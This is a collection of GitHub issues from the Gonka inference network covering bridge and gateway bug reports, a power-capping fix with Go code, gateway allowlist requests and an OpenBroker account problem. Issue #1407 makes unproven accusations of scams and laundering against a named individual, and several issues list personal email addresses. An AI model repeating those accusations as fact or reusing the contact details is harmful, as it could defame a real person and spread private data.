"text": "inferenced q inference bridge-transaction \\\n --origin-chain sepolia --block-number 11156647 --receipt-index 212\nnull (BRIDGE_PENDING) Epoch 45 Validators 1 — gonka1g5g4fmutlzv5t9mdhsf0ldc4rgjhmf0vakwc3w totalValidationPower 18237 (insufficient quorum on 4-validator set) Wrapped USDT balance 1000000 (unchanged — prior deposit only; second 1 USDT not minted)"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#why-three-hosts-failed", "title": "Why three hosts failed", "text": "All three failing hosts logged Processing receipt (looks successful) then immediately:
ERROR Broadcast failed immediately subsystem=Messages code=18\nrawLog=\"unordered tx ttl exceeds 10m0s: invalid request\"\noriginalMsgType=/inference.inference.MsgBridgeExchange\n18223 and 18226 also logged stale block time at the same instant:
WARN node block time is stale\nlatestBlockTime=2026-06-28T07:11:32.174Z\ndrift=8m53s\n07:11:32 is the last chain block time before the halt. Votes were broadcast in the first second after node restart (07:20:25) while the API still used stale block time for unordered tx TTL signing. CheckTx rejected the txs; SendTransactionAsyncNoRetry does not retry; bridge queue does not re-queue.
Why 18221 succeeded: same receipt processed 13 seconds later (07:20:38) after block time refreshed — no Broadcast failed line; vote landed on-chain.
MsgBridgeExchange uses SendTransactionAsyncNoRetry (no halt-aware retry).Processing receipt even when vote failed.Full API + bridge log extracts for blocks 11156630–11156670 and broadcast-error context:
Gist: https://gist.github.com/maria-mitina/6dc628e81592ec99dc094624c01d4ac9
Gist file Contentsapi-18222-702111.log API logs — genesis host; Broadcast failed @ 07:20:25 api-18223-702127.log API logs — stale + Broadcast failed @ 07:20:25 api-18226-702105.log API logs — stale + Broadcast failed @ 07:20:25 api-18221-702112.log API logs — successful vote @ 07:20:38 (no broadcast error) bridge-18222-702111.log Bridge Geth — halt/unpause, API connectivity errors bridge-18223-702127.log Bridge Geth bridge-18226-702105.log Bridge Geth bridge-18221-702112.log Bridge Geth"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#key-log-excerpts", "title": "Key log excerpts", "text": "18223 @ 07:20:25 (failed):
Processing receipt ... blockNumber=11156647 receiptIndex=212\nWARN node block time is stale latestBlockTime=2026-06-28T07:11:32.174Z drift=8m53.520114365s\nERROR Broadcast failed immediately ... rawLog=\"unordered tx ttl exceeds 10m0s: invalid request\"\n18221 @ 07:20:38 (succeeded):
Processing receipt ... blockNumber=11156647 receiptIndex=212\n(no Broadcast failed line)\nSendTransactionAsyncWithRetry for MsgBridgeExchange, or wait for fresh block time before broadcasting after halt.resp.Code != 0 as failure to bridge handler (HTTP 500, do not advance processing).BRIDGE_PENDING receipts.Manual bridge-exchange from validators on 18222, 18223, 18226 with receipt index 212 and receipts root above.
docs/bridge-inbound-pause-test-report.mddocs/bridge-upgrade-scenario-a-runbook.mdGist: https://gist.github.com/maria-mitina/6dc628e81592ec99dc094624c01d4ac9
API logs (broadcast failure window)Local copy path in repo workspace: docs/bridge-scenario-a-2026-06-28/logs/
duplicate of https://github.com/gonka-ai/gonka/issues/1358
🔄 Auto-synced from Issue #1370 every hour.
"}, {"location": "community/issues/01371-request-for-devshards-creator-allowlist-access/", "title": "#1371 — Request for DevShards creator allowlist access", "text": "Request for DevShards creator allowlist access #1371 Closed @GERAunits opened 2026-06-28 11:40 UTC 1 comment Updated 2026-07-03 00:13 UTCRequest to add my address to devshard_escrow_params.allowed_creator_addresses for a self-hosted gateway.
Address: gonka1a02jacrjca02f0805v9kpx0h2axjdfxx4vmwls Pubkey: A3X9+ooArJ8UyJX1WpvhnH7JFBcU6OrbaQtYtUF0lcDX Registration tx: D398545C1EDB469490EC07D2BF83D9854C3E376F88122EED90FE5B45FAD6D850 (block 4796580) Balance: above min_amount
Operator: Pavel Gerasimov GitHub: @GERAunits Contact: gerasape@gmail.com
Models: Kimi K2.6 for programming and text processing tasks. Also interested in other available models.
Use case: personal self-hosted gateway for AI-assisted programming, code review, documentation, and text work. Low volume, no public endpoint, no resale.
"}, {"location": "community/issues/01371-request-for-devshards-creator-allowlist-access/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-07-03 00:13 UTCHi @GERAunits! Additions to devshard_escrow_params.allowed_creator_addresses happen only through on-chain governance — a param-change proposal or inclusion in a governance-approved upgrade batch. No maintainer adds an address unilaterally, so filing this issue registers your intent, but inclusion and timing are governance-dependent and not guaranteed.
Given your use case — personal, low-volume, no public endpoint, no resale — it's worth asking what running your own gateway actually buys you here. It gives you two things: paying for inference with your own GNK directly, with no third party holding a balance for you, and no operator between you and the network (relevant if you don't want anyone else seeing your code and documents in transit). In exchange you take on escrow funding, rotation, and settlement, plus the governance wait before any of it works.
If what you need is simply an OpenAI-compatible endpoint for AI-assisted coding and text work, that exists today. Community brokers are listed in the developer quickstart, and OpenBroker (https://openbroker.gonka.gg, discussion #1363) is a GNK-native option with no markup — it deducts your balance 1-to-1 with actual escrow cost, no enrollment or approval wait, and Kimi K2.6 is served there alongside the other network models. The honest trade-off is that it's custodial: you deposit GNK to an address the operator controls, and access runs under their API key. If self-custody or keeping your request content away from any intermediary is the reason you want your own gateway, that doesn't replace this request — say so and it stands as-is for governance consideration. If not, a managed endpoint will get you working today, and the operator path stays open if you want it later.
🔄 Auto-synced from Issue #1371 every hour.
"}, {"location": "community/issues/01385-gateway-allowlist-request-dev-server-personal-gateway/", "title": "#1385 — Gateway allowlist request - dev server personal gateway", "text": "Gateway allowlist request - dev server personal gateway #1385 Closed @scodeit opened 2026-07-01 16:41 UTC 3 comments Updated 2026-07-10 21:03 UTC"}, {"location": "community/issues/01385-gateway-allowlist-request-dev-server-personal-gateway/#operator", "title": "Operator", "text": "gonka1qh620unjez7552csz9mklhjjtl9p7ty5vpznag
libermans/gonka-devshard-proxy:latest127.0.0.1:18080)Creator address will be funded with native GNK for escrow deposits once allowlisted.
Please consider adding this address to devshard_escrow_params.allowed_creator_addresses.
Hi @scodeit!
On the allowlist itself: additions to devshard_escrow_params.allowed_creator_addresses happen only through on-chain governance — either a standalone param-change proposal or inclusion in a governance-approved upgrade batch. No maintainer adds an address unilaterally. Filing this issue is the right way to register intent, but inclusion and timing are governance-dependent and not guaranteed, so I want to set expectations honestly rather than leave this sitting as an implied \"pending approval.\"
Before that though, one question worth asking, because it changes what the fastest path is for you. Your stated use case is a personal, solo-use gateway — not a public broker. Running your own devshard gateway buys you two specific things: you pay for inference with your own GNK directly (no third party holding a balance for you), and no operator sits between you and the network. It also costs you the operator side: escrow funding, rotation, settlement, and the governance wait before any of it works.
If what you actually need is just a personal OpenAI-compatible endpoint, that exists today without any of the above. Community brokers are listed in the developer quickstart, and OpenBroker (https://openbroker.gonka.gg, https://github.com/gonka-ai/gonka/discussions/1363) is a GNK-native option with no markup — it deducts your balance 1-to-1 with actual escrow cost, no enrollment or approval wait, and you'd be sending requests within minutes. The honest trade-off: it's custodial (you deposit GNK to an address the operator controls, access runs under their API key), so if self-custody or full control over your request path is the reason you want your own gateway, it doesn't replace this allowlist request — but if the goal is simply \"my own inference endpoint for personal use,\" it answers it completely.
@scodeit commented 2026-07-03 19:06 UTCHi @tcharchian !
Thanks for the explanation.
I did look at OpenBroker, but it's not really what I'm trying to build.
The main reason for requesting a creator address is that I don't want an intermediary between my infrastructure and the network. I prefer to operate my own gateway, manage my own escrow, and keep the entire request path under my control.
Right now this is for personal use, but it's also part of a longer-term evaluation. I'm building and experimenting with AI agent systems, automation pipelines, and integrations around the metarhia ecosystem. One of the projects involves trading-related automation, where I want to understand how Gonka behaves in real workloads before deciding whether to build on top of it.
My interest isn't simply reselling inference or adding a margin on top of token usage. I'm interested in building products that create additional value through the services they provide—automation, orchestration, agent workflows, integrations, and domain-specific functionality. In that model, inference is only one component of a larger system, not the product itself.
Running my own gateway would also allow me to evaluate the network under real production-like workloads and provide practical feedback whenever I encounter issues, limitations, or opportunities for improvement. I expect that kind of hands-on experience to be more useful than testing through a broker.
If the platform proves to be a good fit, I'd also be interested in running a gateway for others in the future. I'd rather learn how to operate the full stack now than start with a broker and redesign everything later.
I understand that the allowlist is controlled through governance and that there's no guarantee or fixed timeline. That's completely fine. I just wanted to register my interest so the address can be considered whenever the next proposal is put together.
Thanks again for taking the time to explain the process.
@tcharchian commented 2026-07-10 21:03 UTCHi @scodeit. Your intent is registered. The strongest thing you can do while you wait is be visible in the community. Governance proposals are discussed and gain support in the community channels (Discord/Telegram). Sharing what you're building and gaining support increases your chances of being approved by governance.
🔄 Auto-synced from Issue #1385 every hour.
"}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/", "title": "#1387 — Gateway in-flight long chat during validator halt: client success vs request outcome failed", "text": "Gateway in-flight long chat during validator halt: client success vs request outcome failed #1387 Open @maria-mitina opened 2026-07-02 15:00 UTC 2 comments Updated 2026-07-06 05:24 UTC bug"}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/#summary", "title": "Summary", "text": "During gonka-testnet-4 experiments on host 702111, a long streaming chat through the devshard gateway (POST http://127.0.0.1:18080/v1/chat/completions) was started while all validator node containers on the 4-node fleet were stopped for 20 seconds.
Observed split behavior:
Layer Result HTTP client (curl/SSE) Full stream,[DONE], curl_exit=0 Gateway per-request accounting request_fully_settled → outcome=failed, winner_nonce=0 Escrow finalize + on-chain settle Succeeded (escrow closed on chain) This is confusing for operators and developers: users get a complete answer, metrics/logs show failure, and the escrow can still be settled.
"}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/#environment", "title": "Environment", "text": "gonka-testnet-4decentai@xj7-5.s.filfox.io:18222)devshardctl-multi on :18080, v2 binary mount, DEVSHARD_ROUTE_PREFIX=/devshard/v2Qwen/Qwen3-4B-Instruct-2507deploy/join/scripts/devshard-gateway-v2-inflight-orchestrate.shprepare-compose-restart.sh coordinated-halt node 20 testnet-4 (702111, 702112, 702127, 702105)[DONE] Node halt overlap ✓ stream active while all nodes down Gateway request outcome failed (pairwise_ab_sample, winner_nonce=0) Finalize Failed initially (POST /v1/finalize → 400 multi-devshard); succeeded with POST /devshard/30/v1/finalize On-chain settle ✓ settled: true"}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/#escrow-31-rerun-fixed-finalize-url", "title": "Escrow 31 (rerun, fixed finalize URL)", "text": "Step Result Long stream via gateway ✓ 3892 chunks, [DONE], 53s Node halt overlap ✓ (nodes down 14:49:56–14:50:34 UTC; stream ended 14:50:15) Gateway request outcome failed (primary_unresponsive, winner_nonce=0) Finalize + settle ✓ end-to-end Settlement txs: escrow 30 CD619F85…, escrow 31 4B7DAC411DDF22B03BDFB6A71C353A96D565F7B52A64B150EC6B6FE48F7FD250
14:49:22 stream start (gateway direct)\n14:49:22 first SSE chunk\n14:49:56 ALL_NODE_DOWN (4 hosts)\n14:50:15 stream [DONE] (3892 chunks) — nodes still down\n14:50:27 gateway request_fully_settled outcome=failed\n14:50:34 ALL_NODE_STARTED\nThe gateway redundancy engine treats a request as successful only when a non-probe attempt is protocol-finished (session.IsNonceFinished), not when SSE content was delivered.
Relevant logic: devshard/cmd/devshardctl/redundancy.go → finishRaceOutcome().
first_token, stream_forwarding_started, send_completed with thousands of chunks.
Protocol finish fails after content
winner_failed_after_contentprocess_response_failed with invalid state signature from host (signer address mismatch vs expected participant key).Example (escrow 31):
winner_failed_after_content … error=\"invalid state signature from host: host 1: expected gonka1l7q…jsjz5mrq, got gonka1ywc7pl…hkhngk\"\nRace summary marks winner but not finished
race_completed … winner=true finished=false responsive=true output_chunks=3892
Timeout path during halt cannot recover
timeout_started … reason=refusedrequest_failed → inference: no non-probe attempt finishedrequest_fully_settled … winner_nonce=0 outcome=failedPer-request failure (request_fully_settled) is not the same as escrow session closure. Finalize snapshots the escrow state machine (POST /devshard/{id}/v1/finalize) and can produce valid settlement JSON even when the inflight HTTP request was marked failed.
[DONE]. Did the gateway record a successful inference for that HTTP request? No — outcome=failed, winner_nonce=0. Was the escrow closed on chain? Yes — after finalize (per-escrow URL). Likely trigger during halt Validator stop → chain/session signature validation breaks mid-stream → protocol finish fails while HTTP stream continues via API/ML."}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/#related-fixes-already-made-scripts-only-testnet", "title": "Related fixes already made (scripts only, testnet)", "text": "/devshard/{escrow_id}/v1/finalize when multiple devshards are registered (not bare /v1/finalize).devshard-gateway-v2-inflight-node-halt-test.sh, devshard-gateway-v2-inflight-orchestrate.sh.request_fully_settled.outcome in test reports; alert on failed may false-positive when users received full content.node is down but api/ML keep serving — should timeout votes succeed? should long streams after content be exempt (280s exemption exists but streams were ~53s)?invalid state signature from host during halt: investigate whether this is expected (chain unavailable) or a bug in signer selection when validators restart.Gist (all attached logs): https://gist.github.com/maria-mitina/4ef1f1e6813d768b21838cc9defdb0eb
Local copy in repo (not yet committed):
docs/evidence/devshard-gateway-inflight-node-halt/\n├── README.md\n├── gateway-escrow-30-request.log # devshardctl-multi stages, escrow 30\n├── gateway-escrow-31-request.log # devshardctl-multi stages, escrow 31\n├── stream-meta-escrow-31.meta # client stream metadata\n├── stream-escrow-31-last30.sse # SSE tail incl. [DONE]\n├── orchestrate-escrow-30.log # orchestrator output (run 1)\n└── orchestrate-rerun-escrow-31.log # orchestrator output (rerun)\ncurl_exit=0\nstream_complete=true\nchunk_lines=3892\nduration_sec=53\nclient_url=http://127.0.0.1:18080/v1/chat/completions\nstage=race_completed … winner=true finished=false … output_chunks=3892\nstage=winner_failed_after_content … invalid state signature from host\nstage=request_fully_settled … winner_nonce=0 decision=primary_unresponsive outcome=failed\n# On laptop (requires APPROVE=1)\ncd deploy/join\nAPPROVE=1 HALT_SEC=20 HALT_SERVICES=node \\\n ./scripts/devshard-gateway-v2-inflight-orchestrate.sh run\nRequires gateway on 702111 with v2 binary mount and Inference phase (PoC finished).
"}, {"location": "community/issues/01387-gateway-in-flight-long-chat-during-validator-halt-client-suc/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-07-03 07:29 UTChey @qdanik, would you be interested to work on this issue?
@qdanik commented 2026-07-05 22:18 UTC@tcharchian you can assign it to me
🔄 Auto-synced from Issue #1387 every hour.
"}, {"location": "community/issues/01395-fixinference-power-cap-zeros-network-when-zero-weight-partic/", "title": "#1395 — fix(inference): power cap zeros network when zero-weight participants are in settlement", "text": "fix(inference): power cap zeros network when zero-weight participants are in settlement #1395 Closed @maria-mitina opened 2026-07-04 11:58 UTC 1 comment Updated 2026-07-08 23:18 UTC"}, {"location": "community/issues/01395-fixinference-power-cap-zeros-network-when-zero-weight-partic/#problem", "title": "Problem", "text": "On gonka-testnet-4, epoch 15 settlement zeroed all participant weights and cascaded into epochs 16–20 with total_weight=0 and no active epoch members.
Chain logs at settlement (block ~5305):
weight_group model=Qwen/Qwen2.5-7B-Instruct raw_total=81702 scale=1.0\nweight_pipeline addr=gonka1e8yj… consensus=34658 final=0 modes=7B:DIRECT\nweight_pipeline addr=gonka1m6s8… consensus=0 final=0 modes=7B:NONE\nUniversal power capping applied originalTotalPower=81702 cappedTotalPower=0\nAdding member … weight=0 (all 4 participants)\nConsensus weights were computed correctly (~81k total on 7B). Universal power capping then collapsed everything to zero.
"}, {"location": "community/issues/01395-fixinference-power-cap-zeros-network-when-zero-weight-partic/#root-cause", "title": "Root cause", "text": ""}, {"location": "community/issues/01395-fixinference-power-cap-zeros-network-when-zero-weight-partic/#why-a-zero-weight-host-is-still-in-settlement", "title": "Why a zero-weight host is still in settlement", "text": "ComputeNewWeights includes participants who passed PoC on any model (or are preserved). There is no filter for “will have non-zero consensus weight on an eligible group.”
Later, ComputeConsensusWeights overwrites p.Weight from eligible groups only. A host that mined 4B but where only 7B is eligible gets consensus=0 — but stays in activeParticipants.
applyEpochPowerCapping passes the full activeParticipants slice to CalculateOptimalCap with no Weight > 0 filter.
The algorithm used participant headcount (len(participants) == 4) in the 30% threshold formula, including the zero-weight guardian. Sorted powers: [0, 10238, 34658, 36806].
When the first positive weight triggered the cap with sumPrev=0:
cap = (0.30 * 0) / (1 - 0.30 * 3) = 0\nEvery host was then capped to 0.
Collateral was not involved (grace_period_end_epoch=180, grace skip logged).
modes=7B:NONE (no delegation tx) and consensus=0 on 7BOn mainnet steady state, a delegating non-7B host would still have consensus=0 on the sole eligible group but often positive weight from another eligible model. The bug also applies during model bootstrap when old-model miners sit in activeParticipants with Weight=0.
Files to change:
File Changeinference-chain/x/inference/keeper/bitcoin_rewards.go CalculateOptimalCap: skip Weight <= 0 in threshold math; use positiveCount instead of headcount; bail out if cap <= 0 && totalPower > 0 inference-chain/x/inference/keeper/bitcoin_rewards_test.go Add regression test for epoch-15 scenario Reference commit: 7f3c00e95 on branch do/guardian-tiebreaker-weightless-votes (PR #1394 was closed; re-apply from this commit).
bitcoin_rewards.go — key changes in CalculateOptimalCap", "text": "participantPowers only from entries with Weight > 0positiveCount <= 1positiveCount (not len(participants)) in threshold loop and cap formulacap <= 0 while totalPower > 0, return unchanged (no capping)participantPowers := make([]ParticipantPowerInfo, 0, participantCount)\nfor i, participant := range participants {\n if participant.Weight <= 0 {\n continue\n }\n participantPowers = append(participantPowers, ParticipantPowerInfo{...})\n}\n\npositiveCount := len(participantPowers)\nif positiveCount <= 1 {\n return participants, totalPower, false\n}\n\n// threshold loop uses positiveCount instead of participantCount\n// ...\n\nif cap <= 0 && totalPower > 0 {\n return participants, totalPower, false\n}\nbitcoin_rewards_test.go — regression test", "text": "func TestApplyPowerCappingForWeights_SkipsZeroWeightParticipants(t *testing.T) {\n participants := []*types.ActiveParticipant{\n {Index: \"guardian\", Weight: 0},\n {Index: \"host-a\", Weight: 10238},\n {Index: \"host-b\", Weight: 34658},\n {Index: \"host-c\", Weight: 36806},\n }\n capped, wasCapped := ApplyPowerCappingForWeights(participants)\n // total must remain positive; guardian stays at 0\n}\ngo test ./inference-chain/x/inference/keeper/ -run TestApplyPowerCappingForWeights_SkipsZeroWeightParticipants -count=1\ngo test ./inference-chain/x/inference/module/ -run TestApplyPowerCapping -count=1\ninference-chain/x/inference/module/module.go — onEndOfPoCValidationStage → applyEpochPowerCappinginference-chain/x/inference/module/power_capping.go → ApplyPowerCappinginference-chain/x/inference/keeper/bitcoin_rewards.go — ApplyPowerCappingForWeights, CalculateOptimalCapproposals/early-network-protection/early-network-protection-plan.mdactiveParticipants before power capping at the call sitesetModelsForParticipants (model_assignment.go)fixed, thank you @DimaOrekhovPS
🔄 Auto-synced from Issue #1395 every hour.
"}, {"location": "community/issues/01397-gateway-allowlist-request/", "title": "#1397 — Gateway allowlist request", "text": "Gateway allowlist request #1397 Open @yuritsin-code opened 2026-07-04 15:26 UTC 2 comments Updated 2026-07-08 00:51 UTC"}, {"location": "community/issues/01397-gateway-allowlist-request/#operator", "title": "Operator", "text": "Victor Yuritsyn — independent operator Contact: GitHub @yuritsin-code
"}, {"location": "community/issues/01397-gateway-allowlist-request/#address", "title": "Address", "text": "gonka1calhwf505afx0aeeuzjsraw0y3wvak06gklee2
"}, {"location": "community/issues/01397-gateway-allowlist-request/#models", "title": "Models", "text": "We run production Telegram assistant bots (property management / supplier ordering) with an async LLM cascade. Gonka currently serves our non-PII text tier via a community broker; we already operate continuous canary monitoring of network availability (30/60/120s backoff, circuit breaker with local fallback) and would like to move to direct devshard escrow to pay inference from our own GNK.
Expected volume is modest initially (thousands of requests/day ceiling), growing with our bot fleet. Happy to share our availability telemetry with the network if useful.
"}, {"location": "community/issues/01397-gateway-allowlist-request/#comments-2", "title": "💬 Comments (2)", "text": "@yuritsin-code commented 2026-07-04 17:14 UTCHi Gonka team,
We've been analyzing the devshard protocol to understand how multi-turn agent workloads perform on the network, and we have two questions based on our code review.
1. Executor affinity for consecutive noncesWe traced the routing logic in the open-source code:
devshard/user/session.go:592: hostIdx := int(nonce % uint64(len(s.group)))devshard/host/host.go:743: executorSlot := h.group[start.InferenceId%uint64(len(h.group))].SlotIDdevshard/user/session.go:724: InferenceId: nonceThis means each nonce is routed to nonce % len(group), and since InferenceId == nonce, the target host IS the executor. Consecutive nonces are distributed round-robin across the group.
Question: For multi-turn agent conversations where each turn is a new nonce, does the round-robin rotation mean that turns go to different executors (breaking KV-cache affinity), or is there a mechanism (group_size=1 for agent sessions, sticky routing, or a different code path) that keeps a conversation on the same executor?
2. vLLM prefix caching statusWe reviewed the reference node-config.json files in deploy/join/ and the participant quickstart docs. None include --enable-prefix-caching. Since vLLM 0.6.0+ requires this flag explicitly (it was default before), we cannot determine if prefix caching is active on Gonka nodes.
Question: Is vLLM Automatic Prefix Caching enabled on Gonka inference nodes? What vLLM version does MLNode use?
Thanks for your time — this helps us understand the right strategy for deploying agent workloads on Gonka.
@tcharchian commented 2026-07-08 00:51 UTCHi @yuritsin-code. As with any devshard_escrow_params.allowed_creator_addresses change, this happens only through on-chain governance (a param-change proposal or a governance-approved upgrade batch) — filing the issue registers intent, but inclusion and timing are governance-dependent, not a maintainer toggle.
Your trace is right, and there is no hidden sticky path.
The group is not operator-selectable and there is no per-session / per-agent group_size. Slots are sampled on-chain at escrow creation (weighted-random by each participant's PoC validation weight for the model), sized to the governance parameter DevshardEscrowParams.GroupSize — currently 16. The creator can't pin members or force group_size=1. The group is a verification/redundancy set, not a cache-affinity router. For each nonce exactly one slot executes (nonce % group); the others are verifiers that validate the result. Rotating the executor is intentional, so consecutive-turn KV/prefix-cache affinity is not a design goal today. The routing is determined entirely by the on-chain group + nonce, not by the gateway. So it is identical whether you stay on a community broker, use OpenBroker, or run your own devshard gateway — self-hosting will not buy you KV-cache affinity.
Given you're already in production and the goal is GNK-native, no-markup, self-paid inference, the option that works today without the governance wait is OpenBroker (https://openbroker.gonka.gg/, discussion #1363): it deducts your balance 1-to-1 with actual escrow cost (no markup, no enrollment/approval), and serves the network models.
🔄 Auto-synced from Issue #1397 every hour.
"}, {"location": "community/issues/01398-gateway-allowlist-request-niro/", "title": "#1398 — Gateway allowlist request: niro", "text": "Gateway allowlist request: niro #1398 Open @niro58 opened 2026-07-04 20:09 UTC 0 comments Updated 2026-07-04 20:11 UTC🔄 Auto-synced from Issue #1398 every hour.
"}, {"location": "community/issues/01398-gateway-allowlist-request-niro/#operator", "title": "Operator", "text": "Nichita R. — independent developer Contact: GitHub @niro58
"}, {"location": "community/issues/01398-gateway-allowlist-request-niro/#address", "title": "Address", "text": "gonka142rw2k5qwh3rxm774z56uzcgfyqfnnclqewr36
"}, {"location": "community/issues/01398-gateway-allowlist-request-niro/#models", "title": "Models", "text": "We run nine production apps (SaaS, content platform, mobile apps, AI tooling) that route all text + tool-calling inference through Gonka via a community broker. We'd like to move to a self-hosted devshard gateway to pay inference from our own GNK.
Expected volume is tenths thousands of requests/day, around 100-300 mil tokens a day, growing with our user base. Happy to share availability telemetry and benchmark results with the network.
"}, {"location": "community/issues/01405-openbroker-api-moved-hosts-and-existing-broker-accounts-and-/", "title": "#1405 — OpenBroker API moved hosts and existing broker accounts (and balances) are gone — follow-up to #1319", "text": "OpenBroker API moved hosts and existing broker accounts (and balances) are gone — follow-up to #1319 #1405 Closed @dufok opened 2026-07-06 00:16 UTC 2 comments Updated 2026-07-06 01:14 UTCHi @tcharchian — follow-up to #1319, where you recommended OpenBroker as the official developer path (\"GNK-settled, 1:1 at cost, no markup, no approval wait\"). I took that advice, and I'm reporting what happened, because it will bite other developers onboarding the same way.
"}, {"location": "community/issues/01405-openbroker-api-moved-hosts-and-existing-broker-accounts-and-/#what-happened", "title": "What happened", "text": "I had an active OpenBroker account (email stepan.vladovskiy@gmail.com), activated with the standard 100 GNK deposit from my on-chain wallet gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt (the same funded wallet from #1319). I was using it for MiniMax-M2.7 inference in my pipeline; total spend was a fraction of a GNK, so essentially the whole deposit should still be on the balance.
Recently, without any notice I could find:
https://openbroker.gonka.gg/v1 started returning 404 (the bare domain now serves only the dashboard site); the API answers on https://api.openbroker.gonka.gg/v1.obk-… key returns 401 \"invalid API key\" on the new host.I've also contacted Gonka Labs via their Telegram, but since OpenBroker has no public repo or issue tracker, and it's the path recommended here, this seemed like the right place for the public part of the report.
For context, I'm building on Gonka: a ComfyUI node pack for Gonka inference (https://github.com/dufok/GonkaAI-forComfyUI) — I'd like to keep GNK-settled inference as its default path.
"}, {"location": "community/issues/01405-openbroker-api-moved-hosts-and-existing-broker-accounts-and-/#comments-2", "title": "💬 Comments (2)", "text": "@dufok commented 2026-07-06 01:04 UTCResolved — Gonka Labs restored my broker account after I reached out via their Telegram (t.me/gonka_gg). Dashboard access is back, the wallet link is intact, and the balance was restored in full (topped up a little, even — appreciated).
For anyone hitting the same symptoms after the host change: - the API now lives at https://api.openbroker.gonka.gg/v1 (the bare domain serves only the dashboard); - old obk-… keys are invalid — create a fresh one in the dashboard; - if your login says \"no account found\", contact Gonka Labs with your linked wallet address — they sort it out quickly.
Thanks @tcharchian for the pointers in #1319, and thanks to the Gonka Labs team for the fast resolution. Closing.
@gonkalabs commented 2026-07-06 01:09 UTCHi, @dufok, thanks for pointing it out!
informing everyone that issue is solved and access is restored for the user.
This was caused by registration action happening during infrastructure migration and is not a subject for any more occurances in the future (that was forced due to datacenter malfunction that required swift actions and full infra migration. All users who did complete the registration flow before migration - were moved correctly). System is operational (including registrations).
All updates and notices happen in our tg chat prior to changes. To mitigate all the potential miscommunications in the future, we will mirror notifications about breaking changes in discussion (if there will be any).
Thank You for being the early supporter of the Product 🤝
🔄 Auto-synced from Issue #1405 every hour.
"}, {"location": "community/issues/01407-question-about-project-background-mikhail-chudinov-and-natal/", "title": "#1407 — Question about project background: Mikhail Chudinov and Natalia", "text": "Question about project background: Mikhail Chudinov and Natalia #1407 Open @phishdestroy opened 2026-07-06 09:23 UTC 2 comments Updated 2026-07-06 15:50 UTCIs this how our story began in your previous project where your name was Natalia?
I would like to ask, can Mikhail Chudinov come out to play? The one who is a DevOps engineer at NameSilo, formerly Head of IT at SuperKopilka (a Russian financial pyramid, collapsed in 2017) for ~10 years. Also: COO at AtomX.online (a no-KYC crypto project), Poker Club Manager at Red Rock. A self-described \"crypto enthusiast.\"
And most likely accompanied by the assistant Natalia from xmrwallet?
Is this project just another setup for a scam and stealing money? Or are you just laundering what was already stolen?
"}, {"location": "community/issues/01407-question-about-project-background-mikhail-chudinov-and-natal/#comments-2", "title": "💬 Comments (2)", "text": "@phishdestroy commented 2026-07-06 09:52 UTCYou call him Mitch — before the rebranding, he was in a Russian-speaking Telegram chat (the one that also featured an escrow service and a no-KYC crypto exchange). The design is excellent, but as for the rest, I highly doubt it. I urge everyone to be careful.
@akamitch commented 2026-07-06 15:50 UTCHi! 👋
I'm Mikhail Chudinov, known online as Mtch since 2003.
I don't work at gonka.ai — I have a separate private project, gonka.top, where I help people mine Gonka, set up servers, provide consulting, and sell already-mined coins.
I send coins from this wallet: gonka1juwk05glldgn7850a3547jsl7l4vrhx9k5g3cr — you can check the volumes in the explorer; the wallet is signed in GNS.
I confirm that I worked at NameSilo, SuperKopilka, AtomX.online, and even ran the offline Poker Club Red Rock as Manager.
Where you can find me:
As for who Natalia from xmrwallet is — I have no idea. 🤷
🔄 Auto-synced from Issue #1407 every hour.
"}, {"location": "community/issues/01408-model-lineup-improvement-add-an-accessible-glm-52-candidate-/", "title": "#1408 — Model lineup improvement: add an accessible GLM-5.2 candidate and reconsider MiniMax-M2.7 as default", "text": "Model lineup improvement: add an accessible GLM-5.2 candidate and reconsider MiniMax-M2.7 as default #1408 Open @enonog opened 2026-07-06 12:31 UTC 3 comments Updated 2026-07-25 04:21 UTC enhancement"}, {"location": "community/issues/01408-model-lineup-improvement-add-an-accessible-glm-52-candidate-/#model-lineup-improvement-add-an-accessible-glm-52-candidate-and-reconsider-the-default-model", "title": "Model lineup improvement: add an accessible GLM-5.2 candidate and reconsider the default model", "text": ""}, {"location": "community/issues/01408-model-lineup-improvement-add-an-accessible-glm-52-candidate-/#problem", "title": "Problem", "text": "At the moment, the network appears to have very limited active capacity for GLM-5.2.
Most hosts are concentrated on MiniMaxAI/MiniMax-M2.7, while only a smaller number are serving Kimi-K2.6. GLM-5.2 adoption is still very low, even though GLM-5.2 is currently one of the most attractive open models for coding, long-context tasks, tool usage, and Chinese/English developer workloads.
The current official GLM-5.2 model is:
https://huggingface.co/zai-org/GLM-5.2-FP8
However, its resource requirements are high, which may reduce host willingness to serve it.
This creates a market mismatch:
I suggest evaluating one of the following two non-GGUF, production-style GLM-5.2 quantized models.
"}, {"location": "community/issues/01408-model-lineup-improvement-add-an-accessible-glm-52-candidate-/#option-a-canada-quantglm-52-w4a16-mtp", "title": "Option A:canada-quant/GLM-5.2-W4A16-MTP", "text": "https://huggingface.co/canada-quant/GLM-5.2-W4A16-MTP
Why it is interesting:
PhalaCloud/GLM-5.2-W4AFP8", "text": "https://huggingface.co/PhalaCloud/GLM-5.2-W4AFP8
Why it is interesting:
zai-org/GLM-5.2-FP8Important note:
PhalaCloud/GLM-5.2-W4AFP8 is currently documented mainly for SGLang. If Gonka requires vLLM for MLNode integration, vLLM compatibility should be tested before adding it to the active model lineup.
I do not suggest immediately replacing the current zai-org/GLM-5.2-FP8.
A safer path would be:
The goal is to make GLM-5.2 more accessible to hosts and increase real GLM-5.2 availability on the network.
"}, {"location": "community/issues/01408-model-lineup-improvement-add-an-accessible-glm-52-candidate-/#proposal-2-reconsider-minimaxaiminimax-m27-as-the-default-model", "title": "Proposal 2: ReconsiderMiniMaxAI/MiniMax-M2.7 as the default model", "text": "Currently, MiniMaxAI/MiniMax-M2.7 is the default model / initial_model_id.
It may be useful as a low-barrier operational model, but it does not seem strong enough as the main default model for attracting real inference demand.
I suggest evaluating:
